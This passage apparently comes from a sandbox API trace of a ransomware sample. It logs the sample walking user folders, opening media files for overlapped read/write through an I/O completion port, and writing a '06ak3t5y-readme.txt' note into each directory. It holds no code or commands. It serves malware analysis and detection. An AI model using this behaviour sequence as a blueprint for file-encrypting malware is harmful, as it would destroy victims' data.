cAlternateFileName="")) returned 0x72d330 [0110.997] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.997] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0110.997] PathFindExtensionW (pszPath="msn autos.url") returned=".url" [0110.997] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0110.997] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.997] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.997] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0110.997] PathFindExtensionW (pszPath="msn entertainment.url") returned=".url" [0110.997] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0110.997] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.998] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.998] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0110.998] PathFindExtensionW (pszPath="msn money.url") returned=".url" [0110.998] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0110.998] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.998] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.998] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0110.998] PathFindExtensionW (pszPath="msn sports.url") returned=".url" [0110.998] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0110.998] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.999] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.999] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0110.999] PathFindExtensionW (pszPath="msn.url") returned=".url" [0110.999] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0110.999] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.999] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.999] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0110.999] PathFindExtensionW (pszPath="msnbc news.url") returned=".url" [0110.999] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0110.999] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0111.000] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0111.000] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="msnbc news.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0111.000] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.000] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086028) returned 1 [0111.000] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040190) returned 1 [0111.001] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.001] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.001] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a4d0a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a4d0a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0111.001] PathFindExtensionW (pszPath="get windows live.url") returned=".url" [0111.002] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0111.002] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0111.034] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0111.034] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0111.034] PathFindExtensionW (pszPath="windows live gallery.url") returned=".url" [0111.034] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0111.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0111.034] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0111.034] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0111.034] PathFindExtensionW (pszPath="windows live mail.url") returned=".url" [0111.034] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0111.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0111.035] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0111.035] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a4d0a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a4d0a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0111.035] PathFindExtensionW (pszPath="windows live spaces.url") returned=".url" [0111.035] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0111.035] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0111.036] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0111.036] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a4d0a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a4d0a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="windows live spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0111.036] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.069] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20680b0) returned 1 [0111.069] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040390) returned 1 [0111.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd031bd20, ftCreationTime.dwHighDateTime=0x1d75844, ftLastAccessTime.dwLowDateTime=0x3d52740, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3d52740, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.069] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd031bd20, ftCreationTime.dwHighDateTime=0x1d75844, ftLastAccessTime.dwLowDateTime=0x3d52740, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3d52740, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.069] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d52740, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3d52740, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3d57560, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.070] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83d9e20, ftCreationTime.dwHighDateTime=0x1d75a46, ftLastAccessTime.dwLowDateTime=0x3014b690, ftLastAccessTime.dwHighDateTime=0x1d75d11, ftLastWriteTime.dwLowDateTime=0x3014b690, ftLastWriteTime.dwHighDateTime=0x1d75d11, nFileSizeHigh=0x0, nFileSizeLow=0x159ee, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="5PIGlZaCV4jqbsV7K0Fu.mp3", cAlternateFileName="5PIGLZ~1.MP3")) returned 1 [0111.070] PathFindExtensionW (pszPath="5piglzacv4jqbsv7k0fu.mp3") returned=".mp3" [0111.070] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x15b3e) returned 0x38f9a90 [0111.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\5PIGlZaCV4jqbsV7K0Fu.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\5piglzacv4jqbsv7k0fu.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x2e8 [0111.070] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x92) returned 0x207fac0 [0111.072] CreateIoCompletionPort (FileHandle=0x2e8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.072] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38f9a90) returned 1 [0111.072] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39eea000, ftCreationTime.dwHighDateTime=0x1d75112, ftLastAccessTime.dwLowDateTime=0x130eb930, ftLastAccessTime.dwHighDateTime=0x1d756cf, ftLastWriteTime.dwLowDateTime=0x130eb930, ftLastWriteTime.dwHighDateTime=0x1d756cf, nFileSizeHigh=0x0, nFileSizeLow=0xf048, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="divc1VvDFB.mkv", cAlternateFileName="DIVC1V~1.MKV")) returned 1 [0111.072] PathFindExtensionW (pszPath="divc1vvdfb.mkv") returned=".mkv" [0111.073] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xf198) returned 0x390f5d8 [0111.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\divc1VvDFB.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\divc1vvdfb.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x290 [0111.073] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7e) returned 0x367aa40 [0111.074] CreateIoCompletionPort (FileHandle=0x290, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.075] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x390f5d8) returned 1 [0111.075] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d53ee0, ftCreationTime.dwHighDateTime=0x1d74d23, ftLastAccessTime.dwLowDateTime=0xc7f46b70, ftLastAccessTime.dwHighDateTime=0x1d753d6, ftLastWriteTime.dwLowDateTime=0xc7f46b70, ftLastWriteTime.dwHighDateTime=0x1d753d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Nmla9n22s", cAlternateFileName="NMLA9N~1")) returned 1 [0111.075] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040390 [0111.075] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x76) returned 0x36a0d80 [0111.075] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9c) returned 0x3688fe8 [0111.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0111.076] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3688fe8) returned 1 [0111.076] WriteFile (in: hFile=0x288, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.077] CloseHandle (hObject=0x288) returned 1 [0111.077] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x271eba60, ftCreationTime.dwHighDateTime=0x1d74dba, ftLastAccessTime.dwLowDateTime=0x3ba1b870, ftLastAccessTime.dwHighDateTime=0x1d7597c, ftLastWriteTime.dwLowDateTime=0x3ba1b870, ftLastWriteTime.dwHighDateTime=0x1d7597c, nFileSizeHigh=0x0, nFileSizeLow=0x1f77, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="qWum TA_.mp4", cAlternateFileName="QWUMTA~1.MP4")) returned 1 [0111.077] PathFindExtensionW (pszPath="qwum ta_.mp4") returned=".mp4" [0111.077] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x20c7) returned 0x4741fa0 [0111.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\qWum TA_.mp4" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\qwum ta_.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x288 [0111.078] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7a) returned 0x367aac8 [0111.079] CreateIoCompletionPort (FileHandle=0x288, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.079] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4741fa0) returned 1 [0111.079] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9bd28b0, ftCreationTime.dwHighDateTime=0x1d75b4a, ftLastAccessTime.dwLowDateTime=0xe4133c50, ftLastAccessTime.dwHighDateTime=0x1d75cb9, ftLastWriteTime.dwLowDateTime=0xe4133c50, ftLastWriteTime.dwHighDateTime=0x1d75cb9, nFileSizeHigh=0x0, nFileSizeLow=0x6c5a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="x4 v.gif", cAlternateFileName="X4V~1.GIF")) returned 1 [0111.079] PathFindExtensionW (pszPath="x4 v.gif") returned=".gif" [0111.080] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x6daa) returned 0x391e778 [0111.080] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\x4 v.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\x4 v.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x37c [0111.080] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x72) returned 0x36a0d00 [0111.081] CreateIoCompletionPort (FileHandle=0x37c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.082] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x391e778) returned 1 [0111.082] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x545744d0, ftCreationTime.dwHighDateTime=0x1d75665, ftLastAccessTime.dwLowDateTime=0x3ae9eda0, ftLastAccessTime.dwHighDateTime=0x1d7576d, ftLastWriteTime.dwLowDateTime=0x3ae9eda0, ftLastWriteTime.dwHighDateTime=0x1d7576d, nFileSizeHigh=0x0, nFileSizeLow=0x1069d, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="ZAR5gyQrXI.gif", cAlternateFileName="ZAR5GY~1.GIF")) returned 1 [0111.082] PathFindExtensionW (pszPath="zar5gyqrxi.gif") returned=".gif" [0111.082] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x107ed) returned 0x4744070 [0111.083] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\ZAR5gyQrXI.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\zar5gyqrxi.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x268 [0111.083] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7e) returned 0x367ab50 [0111.085] CreateIoCompletionPort (FileHandle=0x268, ExistingCompletionPort=0x220, 